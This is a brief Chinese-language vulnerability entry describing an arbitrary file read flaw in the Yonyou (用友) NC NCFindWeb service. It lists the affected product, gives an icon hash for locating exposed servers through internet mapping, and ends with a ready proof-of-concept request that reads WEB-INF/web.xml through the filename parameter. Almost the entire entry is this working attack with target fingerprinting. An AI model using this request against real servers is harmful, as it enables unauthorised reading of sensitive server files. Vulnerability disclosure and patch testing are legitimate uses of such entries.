用友 NC NCFindWeb 任意文件读取漏洞¶

漏洞描述¶

用友NC存在任意文件读取漏洞，攻击者通过漏洞可读取服务器敏感文件

漏洞影响¶

用友NC

网络测绘¶

icon_hash="1085941792"

漏洞复现¶

登陆页面

验证POC

 /NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/web.xml